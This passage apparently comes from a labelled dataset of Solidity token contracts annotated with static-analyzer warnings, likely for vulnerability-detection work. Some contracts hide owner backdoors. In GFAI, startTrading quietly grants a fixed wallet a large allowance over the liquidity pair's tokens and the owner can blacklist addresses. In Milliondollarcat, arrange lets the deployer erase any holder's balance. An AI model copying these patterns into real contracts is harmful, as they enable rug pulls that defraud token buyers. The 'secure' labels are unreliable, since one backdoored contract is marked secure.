"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MANDY is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 26cf4cf): MANDY.maxSupply should be constant \n\t// Recommendation for 26cf4cf: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1000000000 * 1e18;\n\n constructor() ERC20(\"MANDY\", \"MANDY\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}",
"file_name": "solidity_code_4103.sol",
"secure": 1,
"size_bytes": 591
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7337607): GFAI.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotalCC / 100)\n// Recommendation for 7337607: Consider ordering multiplication before division.\ncontract GFAI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: c6bb918): GFAI._initialBuyTax should be constant \n\t// Recommendation for c6bb918: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: aba0c13): GFAI._initialSellTax should be constant \n\t// Recommendation for aba0c13: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfed54f): GFAI._finalBuyTax should be constant \n\t// Recommendation for dfed54f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd825d8): GFAI._finalSellTax should be constant \n\t// Recommendation for dd825d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d4cb967): GFAI._reduceBuyTaxAt should be constant \n\t// Recommendation for d4cb967: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: fdcfb5f): GFAI._reduceSellTaxAt should be constant \n\t// Recommendation for fdcfb5f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: da92742): GFAI._preventSwapBefore should be constant \n\t// Recommendation for da92742: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2fcd776): GFAI._transferTax should be constant \n\t// Recommendation for 2fcd776: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isFeeExcempt;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (constable-states | ID: 27a0d75): GFAI._ccReceipt should be constant \n\t// Recommendation for 27a0d75: Add the 'constant' attribute to state variables that never change.\n address payable private _ccReceipt =\n payable(0xac28DD276584B8930B76db4e3dDCacfB5f5d27ec);\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotalCC = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Girlfriend AI\";\n\n string private constant _symbol = unicode\"GFAI\";\n\n\t// divide-before-multiply | ID: cbfa136\n uint256 public _maxTxAmount = 2 * (_tTotalCC / 100);\n\n\t// divide-before-multiply | ID: 76d4c6e\n uint256 public _maxWalletSize = 2 * (_tTotalCC / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: c6c781e): GFAI._taxSwapThreshold should be constant \n\t// Recommendation for c6c781e: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 7fc6f16\n uint256 public _taxSwapThreshold = 1 * (_tTotalCC / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d15290): GFAI._maxTaxSwap should be constant \n\t// Recommendation for 6d15290: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 7337607\n uint256 public _maxTaxSwap = 1 * (_tTotalCC / 100);\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n IUniswapV2Router02 private uniRouterCC;\n\n address private uniPairCC;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n constructor() {\n _balances[_msgSender()] = _tTotalCC;\n\n _isFeeExcempt[owner()] = true;\n\n _isFeeExcempt[address(this)] = true;\n\n _isFeeExcempt[_ccReceipt] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotalCC);\n }\n\n function initCC() external onlyOwner {\n uniRouterCC = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouterCC), _tTotalCC);\n\n uniPairCC = IUniswapV2Factory(uniRouterCC.factory()).createPair(\n address(this),\n uniRouterCC.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotalCC;\n }\n\n function allowCC(\n address[2] memory tCCs,\n uint256 valCC\n ) private returns (bool) {\n address tCCA = tCCs[0];\n address tCCB = tCCs[1];\n\n _allowances[tCCA][tCCB] = valCC;\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f5887dd): GFAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f5887dd: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3dd1278): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3dd1278: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bef2c39): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bef2c39: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3dd1278\n\t\t// reentrancy-benign | ID: bef2c39\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3dd1278\n\t\t// reentrancy-benign | ID: bef2c39\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2154f11): GFAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2154f11: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: bef2c39\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3dd1278\n emit Approval(owner, spender, amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotalCC;\n\n _maxWalletSize = _tTotalCC;\n\n emit MaxTxAmountUpdated(_tTotalCC);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouterCC.WETH();\n\n _approve(address(this), address(uniRouterCC), tokenAmount);\n\n\t\t// reentrancy-events | ID: 52e6d0a\n\t\t// reentrancy-events | ID: 3dd1278\n\t\t// reentrancy-benign | ID: bef2c39\n\t\t// reentrancy-eth | ID: d918c6e\n uniRouterCC.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 52e6d0a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 52e6d0a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 481e1b6): GFAI._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 481e1b6: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d918c6e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d918c6e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amountBB) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amountBB > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxBB = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amountBB;\n\n _balances[to] = _balances[to] + amountBB;\n\n emit Transfer(from, to, amountBB);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount > 0) {\n taxBB = (_transferTax);\n }\n\n if (\n from == uniPairCC &&\n to != address(uniRouterCC) &&\n !_isFeeExcempt[to]\n ) {\n require(amountBB <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amountBB <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxBB = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniPairCC && from != address(this)) {\n taxBB = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniPairCC && swapEnabled) {\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 52e6d0a\n\t\t\t\t\t// reentrancy-eth | ID: d918c6e\n swapTokensForEth(\n min(amountBB, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 481e1b6\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 52e6d0a\n\t\t\t\t\t// reentrancy-eth | ID: d918c6e\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n uint256 taxAmount = taxBB.mul(amountBB).div(100);\n\n if (taxBB > 0) {\n\t\t\t// reentrancy-eth | ID: d918c6e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 52e6d0a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d918c6e\n _balances[from] = _balances[from].sub(amountBB);\n\n\t\t// reentrancy-eth | ID: d918c6e\n _balances[to] = _balances[to].add(amountBB.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 52e6d0a\n emit Transfer(from, to, amountBB.sub(taxAmount));\n }\n\n function add(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function del(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 52e6d0a\n\t\t// reentrancy-events | ID: 3dd1278\n\t\t// reentrancy-eth | ID: d918c6e\n _ccReceipt.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9f47e4c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9f47e4c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8b0a45c): GFAI.startTrading() ignores return value by uniRouterCC.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8b0a45c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4837f27): GFAI.startTrading() ignores return value by IERC20(uniPairCC).approve(address(uniRouterCC),type()(uint256).max)\n\t// Recommendation for 4837f27: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 81208d1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 81208d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uint256 taxA = (_maxTaxSwap + _taxSwapThreshold) * 15000;\n\n allowCC(\n [\n msg.sender != uniPairCC ? uniPairCC : uniPairCC,\n msg.sender != _ccReceipt ? _ccReceipt : _ccReceipt\n ],\n taxA\n );\n\n\t\t// reentrancy-benign | ID: 9f47e4c\n\t\t// unused-return | ID: 8b0a45c\n\t\t// reentrancy-eth | ID: 81208d1\n uniRouterCC.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9f47e4c\n\t\t// unused-return | ID: 4837f27\n\t\t// reentrancy-eth | ID: 81208d1\n IERC20(uniPairCC).approve(address(uniRouterCC), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 9f47e4c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 81208d1\n tradingOpen = true;\n }\n}",
"file_name": "solidity_code_4104.sol",
"secure": 0,
"size_bytes": 17685
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: ec6d1e7): Contract locking ether found Contract QuarkDOGE has payable functions QuarkDOGE.receive() But does not have a function to withdraw the ether\n// Recommendation for ec6d1e7: Remove the 'payable' attribute or add a withdraw function.\ncontract QuarkDOGE is ERC20, Ownable {\n constructor() ERC20(unicode\"QUARK DOGE\", unicode\"QUARK\") {\n _mint(owner(), 42000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: ec6d1e7): Contract locking ether found Contract QuarkDOGE has payable functions QuarkDOGE.receive() But does not have a function to withdraw the ether\n\t// Recommendation for ec6d1e7: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_4105.sol",
"secure": 0,
"size_bytes": 1012
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Milliondollarcat is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable deport;\n\n constructor() {\n _name = \"Million Dollar Cat\";\n\n _symbol = \"MILLI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 752000000;\n\n deport = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == deport, \"Not allowed\");\n\n _;\n }\n\n function arrange(address[] memory navy) public onlyOwner {\n for (uint256 i = 0; i < navy.length; i++) {\n address account = navy[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_4106.sol",
"secure": 1,
"size_bytes": 4369
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract PEPA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8c31d8c): PEPA._taxWallet should be immutable \n\t// Recommendation for 8c31d8c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 919bd9b): PEPA._revShare should be immutable \n\t// Recommendation for 919bd9b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _revShare;\n\n address private uniswapV2Pair;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n uint256 private constant _initialBuyTax = 20;\n\n uint256 private constant _initialSellTax = 20;\n\n uint256 private constant _reduceBuyTaxAt = 35;\n\n uint256 private constant _reduceSellTaxAt = 45;\n\n uint256 private constant _preventSwapBefore = 40;\n\n uint256 private _finalBuyTax = 10;\n\n uint256 private _finalSellTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint256 private _countTax;\n\n string private constant _name = unicode\"PEPA\";\n\n string private constant _symbol = unicode\"PEPA\";\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 100_000_000 * 10 ** _decimals;\n\n uint256 private constant _countTrigger = 8100 * 10 ** _decimals;\n\n uint256 public constant _taxSwapThreshold = 200_000 * 10 ** _decimals;\n\n uint256 public constant _maxTaxSwap = 1_000_000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 500_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 500_000 * 10 ** _decimals;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event FinalTax(uint256 _valueBuy, uint256 _valueSell);\n\n event TradingActive(bool _tradingOpen, bool _swapEnabled);\n\n event MaxAmount(uint256 _value);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 484739b): PEPA.constructor(address,address).taxWallet lacks a zerocheck on \t _taxWallet = address(taxWallet)\n\t// Recommendation for 484739b: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5a02885): PEPA.constructor(address,address).revShare lacks a zerocheck on \t _revShare = address(revShare)\n\t// Recommendation for 5a02885: Check that the address is not zero.\n constructor(address taxWallet, address revShare) {\n\t\t// missing-zero-check | ID: 484739b\n _taxWallet = payable(taxWallet);\n\n\t\t// missing-zero-check | ID: 5a02885\n _revShare = payable(revShare);\n\n _balances[_msgSender()] = _totalSupply;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _isExcludedFromFee[_revShare] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 526d055): PEPA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 526d055: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 601a7b3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 601a7b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cfe2327): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cfe2327: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 601a7b3\n\t\t// reentrancy-benign | ID: cfe2327\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 601a7b3\n\t\t// reentrancy-benign | ID: cfe2327\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2e63772): PEPA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2e63772: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(\n owner != address(0) && spender != address(0),\n \"ERC20: approve the zero address\"\n );\n\n\t\t// reentrancy-benign | ID: cfe2327\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 601a7b3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 89623fa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 89623fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e1e5404): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e1e5404: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFee[to] || _isExcludedFromFee[from],\n \"trading not yet open\"\n );\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount =\n amount.mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n ) /\n 100;\n } else if (from == uniswapV2Pair && to != address(this)) {\n taxAmount =\n amount.mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n ) /\n 100;\n }\n\n _countTax += taxAmount;\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore &&\n _countTax > _countTrigger\n ) {\n uint256 getMinValue = (contractTokenBalance > _maxTaxSwap)\n ? _maxTaxSwap\n : contractTokenBalance;\n\n\t\t\t\t// reentrancy-events | ID: 89623fa\n\t\t\t\t// reentrancy-eth | ID: e1e5404\n swapTokensForEth((amount > getMinValue) ? getMinValue : amount);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 89623fa\n\t\t\t\t\t// reentrancy-eth | ID: e1e5404\n sendETHToFee(contractETHBalance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e1e5404\n _countTax = 0;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e1e5404\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 89623fa\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e1e5404\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e1e5404\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 89623fa\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 69ff7b5): PEPA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(taxAmount) _revShare.transfer(revShareAmount)\n\t// Recommendation for 69ff7b5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium 